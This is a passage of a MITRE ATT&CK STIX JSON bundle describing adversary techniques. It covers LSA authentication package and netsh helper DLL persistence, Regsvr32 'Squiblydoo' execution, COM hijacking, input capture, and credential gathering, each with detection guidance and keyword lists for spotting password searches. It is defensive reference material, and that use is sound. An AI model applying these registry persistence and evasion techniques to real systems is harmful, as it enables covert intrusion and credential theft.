Packages","url":"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx","description":"Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.","modified":"2022-04-20T16:29:36.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Authentication Package","x_mitre_detection":"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","Module: Module Load"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","type":"attack-pattern","created":"2020-01-23T19:52:17.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.010","url":"https://attack.mitre.org/techniques/T1218/010"},{"source_name":"Microsoft Regsvr32","description":"Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.","url":"https://support.microsoft.com/en-us/kb/249873"},{"source_name":"LOLBAS Regsvr32","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/","description":"LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019."},{"source_name":"Carbon Black Squiblydoo Apr 2016","description":"Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.","url":"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"},{"source_name":"FireEye Regsvr32 Targeting Mongolian Gov","description":"Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"}],"modified":"2022-03-11T20:41:41.503Z","name":"Regsvr32","description":"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Network Traffic: Network Connection Creation","Module: Module Load","Process: Process Creation"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Anti-virus","Application control"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4","type":"attack-pattern","created":"2017-05-31T21:30:19.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1002","url":"https://attack.mitre.org/techniques/T1002"},{"url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","source_name":"Wikipedia File Header Signatures"}],"modified":"2020-03-30T03:09:45.384Z","name":"Data Compressed","description":"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c","type":"attack-pattern","created":"2017-05-31T21:31:02.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1081","url":"https://attack.mitre.org/techniques/T1081"},{"external_id":"CAPEC-639","source_name":"capec","url":"https://capec.mitre.org/data/definitions/639.html"},{"url":"http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html","description":"CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.","source_name":"CG 2014"},{"url":"http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx","description":"Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.","source_name":"SRD GPP"},{"source_name":"Specter Ops - Cloud Credential Storage","url":"https://posts.specterops.io/head-in-the-clouds-bd038bb69e48","description":"Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."}],"modified":"2021-03-08T10:33:00.910Z","name":"Credentials in Files","description":"Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_system_requirements":["Access to files"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","type":"attack-pattern","created":"2020-10-02T16:42:17.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.002","url":"https://attack.mitre.org/techniques/T1592/002"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:33:19.596Z","name":"Software","description":"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2","type":"attack-pattern","created":"2017-05-31T21:31:40.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1128","url":"https://attack.mitre.org/techniques/T1128"},{"url":"https://technet.microsoft.com/library/bb490939.aspx","description":"Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.","source_name":"TechNet Netsh"},{"url":"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html","description":"Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.","source_name":"Demaske Netsh Persistence"},{"url":"https://github.com/outflankbv/NetshHelperBeacon","description":"Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.","source_name":"Github Netsh Helper CS Beacon"}],"modified":"2020-01-24T14:27:28.869Z","name":"Netsh Helper DLL","description":"Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_system_requirements":["{{LinkByID|S0108}}"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","type":"attack-pattern","created":"2017-05-31T21:30:48.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1056","url":"https://attack.mitre.org/techniques/T1056"},{"external_id":"CAPEC-569","source_name":"capec","url":"https://capec.mitre.org/data/definitions/569.html"},{"url":"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf","description":"Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.","source_name":"Adventures of a Keystroke"}],"modified":"2022-03-08T21:05:20.658Z","name":"Input Capture","description":"Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Process: OS API Execution","Driver: Driver Load","Process: Process Creation","File: File Modification","Process: Process Metadata"],"x_mitre_permissions_required":["Administrator","SYSTEM","root","User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2","type":"attack-pattern","created":"2020-10-01T01:48:15.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.004","url":"https://attack.mitre.org/techniques/T1587/004"},{"source_name":"NYTStuxnet","description":"William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.","url":"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"},{"source_name":"Irongeek Sims BSides 2017","url":"https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims","description":"Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020."}],"modified":"2021-04-15T03:07:53.803Z","name":"Exploits","description":"Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3","type":"attack-pattern","created":"2020-10-02T16:49:31.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1593.001","url":"https://attack.mitre.org/techniques/T1593/001"},{"source_name":"Cyware Social Media","url":"https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e","description":"Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:52:40.958Z","name":"Social Media","description":"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Elastic"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","type":"attack-pattern","created":"2020-03-16T14:12:47.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.015","url":"https://attack.mitre.org/techniques/T1546/015"},{"url":"https://msdn.microsoft.com/library/ms694363.aspx","description":"Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.","source_name":"Microsoft Component Object Model"},{"url":"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence","description":"G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.","source_name":"GDATA COM Hijacking"},{"source_name":"Elastic COM Hijacking","description":"Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.","url":"https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"}],"modified":"2020-11-10T18:19:44.750Z","name":"Component Object Model Hijacking","description":"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model)  References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.  \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Module: Module Load","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vinayak Wadhwa, Lucideus","Lee Christensen, SpecterOps","Toby Kohlenberg"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","type":"attack-pattern","created":"2020-10-02T14:55:43.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1589.001","url":"https://attack.mitre.org/techniques/T1589/001"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"Register Deloitte","url":"https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/","description":"Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."},{"source_name":"Register Uber","url":"https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/","description":"McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020."},{"source_name":"Detectify Slack Tokens","url":"https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/","description":"Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020."},{"source_name":"Forbes GitHub Creds","url":"https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196","description":"Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020."},{"source_name":"GitHub truffleHog","url":"https://github.com/dxa4481/truffleHog","description":"Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020."},{"source_name":"GitHub Gitrob","url":"https://github.com/michenriksen/gitrob","description":"Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020."},{"source_name":"CNET Leaks","url":"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/","description":"Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:26:44.352Z","name":"Credentials","description":"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial 